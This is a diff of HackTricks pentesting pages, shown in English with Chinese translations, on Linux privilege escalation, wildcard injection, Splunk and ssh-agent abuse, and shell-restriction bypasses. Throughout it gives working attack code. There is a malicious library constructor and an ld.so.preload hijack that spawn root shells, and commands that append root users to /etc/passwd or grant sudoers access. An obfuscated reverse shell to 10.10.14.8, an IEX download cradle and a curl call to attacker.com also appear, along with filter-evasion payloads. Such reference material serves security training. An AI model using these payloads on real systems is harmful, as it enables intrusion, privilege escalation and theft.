libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
```
In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\
So, check for functions of this library used by the **`su`** binary:
在这种情况下,让我们尝试伪装 `/lib/x86_64-linux-gnu/libaudit.so.1`。\
因此,检查 **`su`** 二进制文件使用的此库的函数:
```bash
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
```
The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.
符号 `audit_open``audit_log_acct_message``audit_log_acct_message``audit_fd` 可能来自 libaudit.so.1 库。由于 libaudit.so.1 将被恶意共享库覆盖,因此这些符号应该出现在新的共享库中,否则程序将无法找到该符号并将退出。
```c
#include<stdio.h>
#include<stdlib.h>
@ -102,34 +93,27 @@ void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
setuid(0);
setgid(0);
system("/bin/bash");
}
```
现在,只需调用 **`/bin/su`** 您将获得一个以 root 身份运行的 shell。
Now, just calling **`/bin/su`** you will obtain a shell as root.
## 脚本
## Scripts
Can you make root execute something?
### **www-data to sudoers**
您能让 root 执行某些操作吗?
### **www-data 到 sudoers**
```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```
### **Change root password**
### **更改根密码**
```bash
echo "root:hacked" | chpasswd
```
### Add new root user to /etc/passwd
### 将新根用户添加到 /etc/passwd
```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
# RunC Privilege Escalation
# RunC 提权
{{#include ../../banners/hacktricks-training.md}}
## Basic information
## 基本信息
If you want to learn more about **runc** check the following page:
如果你想了解更多关于 **runc** 的信息,请查看以下页面:
{{#ref}}
../../network-services-pentesting/2375-pentesting-docker.md
@ -12,22 +12,21 @@ If you want to learn more about **runc** check the following page:
## PE
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
如果你发现 `runc` 已安装在主机上,你可能能够 **运行一个挂载主机根 / 文件夹的容器**
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
@ -37,8 +36,7 @@ mkdir rootfs
# The root folder is the one from the host
runc run demo
```
> [!CAUTION]
> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
> 这并不总是有效,因为 runc 的默认操作是以 root 身份运行,因此以非特权用户身份运行它根本无法工作(除非您有无根配置)。将无根配置设为默认通常不是一个好主意,因为在无根容器内有相当多的限制,而这些限制在无根容器外并不适用。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
{{#include ../../banners/hacktricks-training.md}}
# SELinux in Containers
# 容器中的SELinux
[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[来自redhat文档的介绍和示例](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system.
Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`.
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) 是一个**标签** **系统**。每个**进程**和每个**文件**系统对象都有一个**标签**。SELinux策略定义了关于**进程标签可以对系统上所有其他标签执行的操作**的规则。
容器引擎以单个受限的SELinux标签启动**容器进程**,通常为`container_t`,然后将容器内部的容器设置为标签`container_file_t`。SELinux策略规则基本上表示**`container_t`进程只能读取/写入/执行标记为`container_file_t`的文件**。如果容器进程逃离容器并尝试写入主机上的内容Linux内核将拒绝访问并仅允许容器进程写入标记为`container_file_t`的内容。
```shell
$ podman run -d fedora sleep 100
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
@ -15,9 +14,8 @@ $ podman top -l label
LABEL
system_u:system_r:container_t:s0:c647,c780
```
# SELinux 用户
# SELinux Users
There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users.
除了常规的 Linux 用户,还有 SELinux 用户。SELinux 用户是 SELinux 策略的一部分。每个 Linux 用户都映射到一个 SELinux 用户,作为策略的一部分。这允许 Linux 用户继承施加在 SELinux 用户上的限制和安全规则与机制。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
{{#include ../../banners/hacktricks-training.md}}
## Socket binding example with Python
In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
## 使用 Python 的 Socket 绑定示例
在以下示例中,**创建了一个 unix socket** (`/tmp/socket_test.s`),并且所有**接收到的内容**都将由 `os.system` **执行**。我知道你在现实中不会找到这个,但这个示例的目的是展示使用 unix sockets 的代码是如何的,以及在最糟糕的情况下如何处理输入。
```python:s.py
import socket
import os, os.path
@ -11,34 +10,29 @@ import time
from collections import deque
if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")
os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
```
**Execute** the code using python: `python s.py` and **check how the socket is listening**:
**执行**代码使用python: `python s.py` 并**检查socket的监听状态**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Exploit**
**利用**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,52 +1,50 @@
# Splunk LPE and Persistence
# Splunk LPE 和持久性
{{#include ../../banners/hacktricks-training.md}}
If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root.
如果在**内部**或**外部**枚举一台机器时发现**Splunk正在运行**端口8090如果你幸运地知道任何**有效凭据**,你可以**利用Splunk服务**以运行Splunk的用户身份**执行一个shell**。如果是root在运行你可以提升权限到root。
Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host.
此外,如果你**已经是root并且Splunk服务不仅在localhost上监听**,你可以**窃取**Splunk服务的**密码**文件并**破解**密码,或者**添加新的**凭据。并在主机上保持持久性。
In the first image below you can see how a Splunkd web page looks like.
在下面的第一张图片中你可以看到Splunkd网页的样子。
## Splunk Universal Forwarder Agent Exploit Summary
## Splunk Universal Forwarder Agent 漏洞总结
For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary:
有关更多详细信息,请查看帖子 [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)。这只是一个总结:
**Exploit Overview:**
An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network.
**漏洞概述:**
针对Splunk Universal Forwarder Agent (UF) 的漏洞允许拥有代理密码的攻击者在运行该代理的系统上执行任意代码,可能会危及整个网络。
**Key Points:**
**关键点:**
- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution.
- Common password acquisition methods include locating them in network directories, file shares, or internal documentation.
- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration.
- UF代理不验证传入连接或代码的真实性使其容易受到未经授权的代码执行攻击。
- 常见的密码获取方法包括在网络目录、文件共享或内部文档中查找。
- 成功利用可能导致在受损主机上获得SYSTEM或root级别的访问权限、数据外泄和进一步的网络渗透。
**Exploit Execution:**
**漏洞执行:**
1. Attacker obtains the UF agent password.
2. Utilizes the Splunk API to send commands or scripts to the agents.
3. Possible actions include file extraction, user account manipulation, and system compromise.
1. 攻击者获取UF代理密码。
2. 利用Splunk API向代理发送命令或脚本。
3. 可能的操作包括文件提取、用户账户操作和系统妥协。
**Impact:**
**影响:**
- Full network compromise with SYSTEM/root level permissions on each host.
- Potential for disabling logging to evade detection.
- Installation of backdoors or ransomware.
**Example Command for Exploitation:**
- 在每个主机上完全网络妥协具有SYSTEM/root级别的权限。
- 可能禁用日志记录以逃避检测。
- 安装后门或勒索软件。
**利用示例命令:**
```bash
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
```
**Usable public exploits:**
**可用的公共漏洞:**
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
- https://www.exploit-db.com/exploits/46238
- https://www.exploit-db.com/exploits/46487
## Abusing Splunk Queries
## 滥用 Splunk 查询
**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
**有关更多详细信息,请查看帖子 [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,30 +1,26 @@
{{#include ../../banners/hacktricks-training.md}}
# Summary
What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this:
# 总结
如果您在 `/etc/ssh_config``$HOME/.ssh/config` 配置中发现以下内容,您可以做些什么:
```
ForwardAgent yes
```
如果你在机器内是 root你可能可以 **访问任何代理所建立的 ssh 连接**,只要你能在 _/tmp_ 目录中找到它。
If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory
Impersonate Bob using one of Bob's ssh-agent:
使用 Bob 的其中一个 ssh-agent 冒充 Bob
```bash
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
```
## 为什么这有效?
## Why does this work?
当你设置变量 `SSH_AUTH_SOCK` 时,你正在访问 Bob 在其 ssh 连接中使用的密钥。然后,如果他的私钥仍然存在(通常是),你将能够使用它访问任何主机。
When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it.
由于私钥以未加密的形式保存在代理的内存中,我想如果你是 Bob但不知道私钥的密码你仍然可以访问代理并使用它。
As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it.
另一种选择是,代理的用户所有者和 root 可能能够访问代理的内存并提取私钥。
Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key.
# 长篇解释和利用
# Long explanation and exploitation
**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
**查看 [原始研究](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,71 +2,59 @@
## chown, chmod
You can **indicate which file owner and permissions you want to copy for the rest of the files**
您可以**指示要为其余文件复制的文件所有者和权限**
```bash
touch "--reference=/my/own/path/filename"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
您可以利用此漏洞使用 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(组合攻击)_\
更多信息请参见 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Tar
**Execute arbitrary commands:**
**执行任意命令:**
```bash
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
您可以利用这个使用 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar 攻击)_\
更多信息请参见 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## Rsync
**Execute arbitrary commands:**
**执行任意命令:**
```bash
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
```
```bash
touch "-e sh shell.sh"
```
You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
您可以利用这个 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\
更多信息请参见 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
## 7z
In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
**7z** 中,即使在 `*` 前使用 `--`(注意 `--` 意味着后面的输入不能被视为参数,因此在这种情况下只是文件路径),您也可以导致任意错误以读取文件,因此如果以下命令由 root 执行:
```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```
And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read:
您可以在执行此操作的文件夹中创建文件,您可以创建文件 `@root.txt` 和文件 `root.txt`,后者是您想要读取的文件的 **symlink**
```bash
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
```
然后,当 **7z** 执行时,它会将 `root.txt` 视为一个包含它应该压缩的文件列表的文件(这就是 `@root.txt` 存在的意义),当 7z 读取 `root.txt` 时,它会读取 `/file/you/want/to/read`**由于该文件的内容不是文件列表,它将抛出一个错误** 显示内容。
Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content.
_More info in Write-ups of the box CTF from HackTheBox._
_更多信息请参见 HackTheBox 的 CTF 盒子写作。_
## Zip
**Execute arbitrary commands:**
**执行任意命令:**
```bash
zip name.zip files -T --unzip-command "sh -c whoami"
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,40 +1,36 @@
# Arbitrary File Write to Root
# 任意文件写入根目录
{{#include ../../banners/hacktricks-training.md}}
### /etc/ld.so.preload
This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\
If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary.
For example: `echo "/tmp/pe.so" > /etc/ld.so.preload`
此文件的行为类似于 **`LD_PRELOAD`** 环境变量,但它也适用于 **SUID 二进制文件**。\
如果您可以创建或修改它,您可以简单地添加一个 **将在每个执行的二进制文件中加载的库的路径**
例如:`echo "/tmp/pe.so" > /etc/ld.so.preload`
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
### Git hooks
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**.
For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created:
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) 是 **脚本**,在 git 仓库中的各种 **事件****运行**,例如当创建提交、合并时... 所以如果一个 **特权脚本或用户** 经常执行这些操作,并且可以 **写入 `.git` 文件夹**,这可以被用来 **privesc**
例如,可以在 git 仓库的 **`.git/hooks`** 中 **生成一个脚本**,以便在创建新提交时始终执行:
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
### Cron & Time files
TODO
@ -45,6 +41,6 @@ TODO
### binfmt_misc
The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.
位于 `/proc/sys/fs/binfmt_misc` 的文件指示哪个二进制文件应该执行哪种类型的文件。TODO: 检查滥用此功能以在打开常见文件类型时执行反向 shell 的要求。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,9 @@
# Useful Linux Commands
# 有用的 Linux 命令
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../../banners/hacktricks-training.md}}
## Common Bash
## 常见的 Bash
```bash
#Exfiltration using Base64
base64 -w 0 file
@ -130,17 +122,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Bash for Windows
## Windows 的 Bash
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
@ -160,9 +142,7 @@ python pyinstaller.py --onefile exploit.py
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -242,9 +222,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Find
## 查找
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
@ -273,25 +251,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Nmap search help
## Nmap 搜索帮助
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Bash
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
```bash
#Delete curent rules and chains
iptables --flush
@ -322,13 +294,4 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -1,27 +1,16 @@
# Bypass Linux Restrictions
# 绕过 Linux 限制
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Common Limitations Bypasses
### Reverse Shell
## 常见限制绕过
### 反向 Shell
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Short Rev shell
### 短 Rev shell
```bash
#Trick from Dikline
#Get a rev shell with
@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypass Paths and forbidden words
### 绕过路径和禁止词汇
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -86,9 +73,7 @@ mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Bypass forbidden spaces
### 绕过禁止的空格
```bash
# {form}
{cat,lol.txt} # cat lol.txt
@ -121,22 +106,16 @@ g # These 4 lines will equal to ping
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Bypass backslash and slash
### 绕过反斜杠和斜杠
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Bypass pipes
### 绕过管道
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Bypass with hex encoding
### 使用十六进制编码绕过
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
@ -146,36 +125,28 @@ cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Bypass IPs
### 绕过 IPs
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Time based data exfiltration
### 基于时间的数据外泄
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Getting chars from Env Variables
### 从环境变量获取字符
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### DNS 数据外泄
### DNS data exfiltration
你可以使用 **burpcollab** 或 [**pingb**](http://pingb.in) 作为例子。
You could use **burpcollab** or [**pingb**](http://pingb.in) for example.
### Builtins
In case you cannot execute external functions and only have access to a **limited set of builtins to obtain RCE**, there are some handy tricks to do it. Usually you **won't be able to use all** of the **builtins**, so you should **know all your options** to try to bypass the jail. Idea from [**devploit**](https://twitter.com/devploit).\
First of all check all the [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Then here you have some **recommendations**:
### 内置命令
如果你无法执行外部函数,并且只能访问 **有限的内置命令以获得 RCE**,有一些方便的技巧可以做到这一点。通常你 **无法使用所有****内置命令**,所以你应该 **了解所有选项** 以尝试绕过监狱。这个想法来自 [**devploit**](https://twitter.com/devploit)。\
首先检查所有的 [**shell 内置命令**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** 然后这里有一些 **建议**
```bash
# Get list of builtins
declare builtins
@ -227,30 +198,22 @@ chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Polyglot command injection
### 多语言命令注入
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypass potential regexes
### 绕过潜在的正则表达式
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE with 5 chars
### 5个字符的RCE
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
@ -297,9 +260,7 @@ ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE with 4 chars
### 4个字符的RCE
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
@ -334,34 +295,25 @@ ln /f*
'sh x'
'sh g'
```
## 只读/无执行/无发行版绕过
## Read-Only/Noexec/Distroless Bypass
If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:**
如果您在一个具有**只读和无执行保护**的文件系统中,甚至在一个无发行版容器中,仍然有方法可以**执行任意二进制文件,甚至是一个 shell:**
{{#ref}}
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Chroot & other Jails Bypass
## Chroot 和其他监狱绕过
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## References & More
## 参考资料与更多
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
